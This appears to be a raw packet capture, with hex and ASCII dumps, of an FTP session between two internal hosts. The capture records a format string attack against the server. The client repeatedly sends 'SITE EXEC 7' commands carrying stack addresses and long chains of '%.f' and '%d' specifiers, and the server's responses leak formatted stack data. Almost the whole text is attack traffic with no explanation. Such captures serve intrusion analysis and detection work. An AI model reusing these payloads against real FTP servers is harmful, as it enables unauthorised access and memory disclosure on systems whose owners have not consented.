32 38 31 33 32 32 38 37 37 34 38 34 38 35 33 32 2813228774848532
34 30 35 36 33 38 34 37 32 39 35 32 37 38 32 34 4056384729527824
35 30 30 39 37 32 38 34 37 31 30 34 36 33 32 36 5009728471046326
37 37 32 37 36 37 33 31 39 37 35 34 34 31 33 37 7727673197544137
35 39 32 30 36 32 36 32 36 37 37 32 33 34 35 36 5920626267723456
37 38 34 32 30 38 35 34 34 35 33 36 30 36 30 38 7842085445360608
37 35 38 33 35 35 38 34 31 39 31 38 31 35 37 30 7583558419181570
34 36 37 34 36 38 39 32 34 37 30 35 30 37 35 32 4674689247050752
36 37 37 39 33 33 37 31 37 35 32 30 34 30 32 30 6779337175204020
36 32 36 37 39 31 32 37 34 35 31 34 32 31 31 38 6267912745142118
31 37 35 31 33 36 36 30 39 34 37 30 32 38 36 36 1751366094702866
38 35 31 30 32 32 32 31 36 30 36 32 32 30 37 36 8510222160622076
34 30 34 34 32 35 30 33 37 32 39 34 39 36 38 38 4044250372949688
36 33 34 34 39 31 39 31 32 33 34 34 30 34 33 35 6344919123440435
32 33 36 31 36 36 31 31 5F 5F 5F 5F 5F 5F 5F 5F 23616611________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 25 7C ______________%|
78 7C 0D 0A x|..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:35.344133 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1290 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC9874C70 Ack:
0x4DD73C17 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488852 490858
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:35.344221 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x247
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12115 IpLen:20
DgmLen:569 DF
***AP*** Seq: 0x4DD73C17 Ack:
0xC9874C70 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490860 488852
32 30 30 20 20 28 65 6E 64 20 6F 66 20 27 37 20 200 (end of '7
4E B3 FF BF 25 2E 66 25 2E 66 25 2E 66 25 2E 66 N...%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
64 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F d_______________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 25 25 7C 78 7C 25 2E 37 30 _______%%|x|%.70
73 27 29 0D 0A s')..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:35.352455 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800 len:0x241
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1291 IpLen:20
DgmLen:563 DF
***AP*** Seq: 0xC9874C70 Ack:
0x4DD73E1C Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488853 490860
53 49 54 45 20 45 58 45 43 20 37 20 18 B3 FF FF SITE EXEC 7 ....
BF 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 .%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 64 5F 5F %.f%.f%.f%.f%d__
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 25 25 7C 78 7C 25 2E 37 30 73 0A
____%%|x|%.70s.
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:35.356003 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x2C6
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12116 IpLen:20
DgmLen:696 DF
***AP*** Seq: 0x4DD73E1C Ack:
0xC9874E6F Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490861 488853
32 30 30 2D 37 20 18 B3 FF BF 2D 32 2D 32 30 30 200-7 ....-2-200
30 2D 32 30 30 30 30 30 30 30 30 30 30 30 30 30 0-20000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 6E 61 6E 30 30 30 30 30 30 30 30 2D 0000nan00000000-
32 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 2000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 2D 32 2D 32 34 00000000000-2-24
30 6E 61 6E 30 33 34 36 2D 32 30 30 37 33 34 30 0nan0346-2007340
33 38 36 34 34 32 37 32 34 33 35 30 34 31 31 33 3864427243504113
38 32 35 37 38 36 30 37 34 35 39 33 31 38 36 39 8257860745931869
31 37 33 33 33 30 37 32 38 37 36 39 32 34 39 36 1733307287692496
32 33 35 36 38 39 39 37 39 31 37 32 32 39 33 31 2356899791722931
35 36 37 33 30 36 39 39 34 35 31 31 33 39 33 32 5673069945113932
37 32 30 38 37 39 35 38 34 36 37 39 31 39 32 34 7208795846791924
39 39 37 35 38 36 30 32 36 34 32 32 30 33 38 32 9975860264220382
37 35 30 31 39 36 30 37 30 33 33 35 36 39 35 39 7501960703356959
30 30 30 30 32 33 33 32 37 30 36 36 30 36 31 32 0000233270660612
33 33 31 36 34 34 31 35 38 36 37 37 31 33 32 30 3316441586771320
37 36 33 30 37 32 33 30 36 34 31 33 39 37 33 30 7630723064139730
32 38 31 33 32 32 38 37 37 34 38 34 38 35 33 32 2813228774848532
34 30 35 36 33 38 34 37 32 39 35 32 37 38 32 34 4056384729527824
35 30 30 39 37 32 38 34 37 31 30 34 36 33 32 36 5009728471046326
37 37 32 37 36 37 33 31 39 37 35 34 34 31 33 37 7727673197544137
35 39 32 30 36 32 36 32 36 37 37 32 33 34 35 36 5920626267723456
37 38 34 32 30 38 35 34 34 35 33 36 30 36 30 38 7842085445360608
37 35 38 33 35 35 38 34 31 39 31 38 31 35 37 30 7583558419181570
34 36 37 34 36 38 39 32 34 37 30 35 30 37 35 32 4674689247050752
36 37 37 39 33 33 37 31 37 35 32 30 34 30 32 30 6779337175204020
36 32 36 37 39 31 32 37 34 35 31 34 32 31 31 38 6267912745142118
31 37 35 31 33 36 36 30 39 34 37 30 32 38 36 36 1751366094702866
38 35 31 30 32 32 32 31 36 30 36 32 32 30 37 36 8510222160622076
34 30 34 34 32 35 30 33 37 32 39 34 39 36 38 38 4044250372949688
36 33 34 34 39 31 39 31 32 33 34 34 30 34 33 35 6344919123440435
32 33 36 31 36 36 31 31 5F 5F 5F 5F 5F 5F 5F 5F 23616611________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 25 7C ______________%|
78 7C 0D 0A x|..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:35.390046 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1292 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC9874E6F Ack:
0x4DD740A0 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488855 490861
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:35.390144 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800 len:0x247
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12117 IpLen:20
DgmLen:569 DF
***AP*** Seq: 0x4DD740A0 Ack:
0xC9874E6F Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490865 488855
32 30 30 20 20 28 65 6E 64 20 6F 66 20 27 37 20 200 (end of '7
18 B3 FF BF 25 2E 66 25 2E 66 25 2E 66 25 2E 66 ....%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
64 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F d_______________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 25 25 7C 78 7C 25 2E 37 30 _______%%|x|%.70
73 27 29 0D 0A s')..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:35.469898 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1293 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC9874E6F Ack:
0x4DD742A5 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488857 490865
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:35.471839 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x241
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1294 IpLen:20
DgmLen:563 DF
***AP*** Seq: 0xC9874E6F Ack:
0x4DD742A5 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488857 490865
53 49 54 45 20 45 58 45 43 20 37 20 E2 B2 FF FF SITE EXEC 7 ....
BF 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 .%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 64 5F 5F %.f%.f%.f%.f%d__
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 25 25 7C 78 7C 25 2E 37 30 73 0A ____%%|x|%.70s.
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:35.475142 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x2DE
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12118 IpLen:20
DgmLen:720 DF
***AP*** Seq: 0x4DD742A5 Ack:
0xC987506E Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490873 488857
32 30 30 2D 37 20 E2 B2 FF BF 2D 32 2D 32 30 30 200-7 ....-2-200
30 2D 32 30 30 30 30 30 30 30 30 30 30 30 30 30 0-20000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 6E 61 6E 30 30 30 30 30 30 30 30 2D 0000nan00000000-
32 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 2000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 2D 32 2D 32 34 00000000000-2-24
30 6E 61 6E 30 33 34 36 2D 32 30 30 37 33 34 30 0nan0346-2007340
33 38 36 34 34 32 37 32 34 33 35 30 34 31 31 33 3864427243504113
38 32 35 37 38 36 30 37 34 35 39 33 31 38 36 39 8257860745931869
31 37 33 33 33 30 37 32 38 37 36 39 32 34 39 36 1733307287692496
32 33 35 36 38 39 39 37 39 31 37 32 32 39 33 31 2356899791722931
35 36 37 33 30 36 39 39 34 35 31 31 33 39 33 32 5673069945113932
37 32 30 38 37 39 35 38 34 36 37 39 31 39 32 34 7208795846791924
39 39 37 35 38 36 30 32 36 34 32 32 30 33 38 32 9975860264220382
37 35 30 31 39 36 30 37 30 33 33 35 36 39 35 39 7501960703356959
30 30 30 30 32 33 33 32 37 30 36 36 30 36 31 32 0000233270660612
33 33 31 36 34 34 31 35 38 36 37 37 31 33 32 30 3316441586771320
37 36 33 30 37 32 33 30 36 34 31 33 39 37 33 30 7630723064139730
32 38 31 33 32 32 38 37 37 34 38 34 38 35 33 32 2813228774848532
34 30 35 36 33 38 34 37 32 39 35 32 37 38 32 34 4056384729527824
35 30 30 39 37 32 38 34 37 31 30 34 36 33 32 36 5009728471046326
37 37 32 37 36 37 33 31 39 37 35 34 34 31 33 37 7727673197544137
35 39 32 30 36 32 36 32 36 37 37 32 33 34 35 36 5920626267723456
37 38 34 32 30 38 35 34 34 35 33 36 30 36 30 38 7842085445360608
37 35 38 33 35 35 38 34 31 39 31 38 31 35 37 30 7583558419181570
34 36 37 34 36 38 39 32 34 37 30 35 30 37 35 32 4674689247050752
36 37 37 39 33 33 37 31 37 35 32 30 34 30 32 30 6779337175204020
36 32 36 37 39 31 32 37 34 35 31 34 32 31 31 38 6267912745142118
31 37 35 31 33 36 36 30 39 34 37 30 32 38 36 36 1751366094702866
38 35 31 30 32 32 32 31 36 30 36 32 32 30 37 36 8510222160622076
34 30 34 34 32 35 30 33 37 32 39 34 39 36 38 38 4044250372949688
36 33 34 34 39 31 39 31 32 33 34 34 30 34 33 35 6344919123440435
32 33 36 31 36 36 31 31 5F 5F 5F 5F 5F 5F 5F 5F 23616611________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 25 7C ______________%|
78 7C 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F x|______________
25 25 7C 78 7C 25 2E 37 30 73 0D 0A %%|x|%.70s..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:35.494323 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1295 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC987506E Ack:
0x4DD74541 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488859 490873
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:35.494426 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x247
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12119 IpLen:20
DgmLen:569 DF
***AP*** Seq: 0x4DD74541 Ack:
0xC987506E Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490875 488859
32 30 30 20 20 28 65 6E 64 20 6F 66 20 27 37 20 200 (end of '7
E2 B2 FF BF 25 2E 66 25 2E 66 25 2E 66 25 2E 66 ....%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
